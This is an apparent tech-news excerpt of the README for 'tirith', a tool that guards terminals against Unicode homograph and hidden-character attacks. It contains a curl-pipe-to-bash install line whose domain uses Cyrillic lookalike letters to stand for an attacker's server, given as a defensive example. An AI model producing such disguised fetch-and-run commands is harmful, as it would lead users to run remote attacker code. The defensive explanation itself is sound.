Tech News
← Back to articles

The browser catches homograph attacks, the terminal doesn't

read original related products more articles

tirith

Your browser would catch this. Your terminal won't.

Can you spot the difference?

curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised

You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i . The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.

Tirith stands at the gate.

brew install sheeki03/tap/tirith && eval " $( tirith init ) "

That's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.

Also available via npm, cargo, apt/dnf, and more.

... continue reading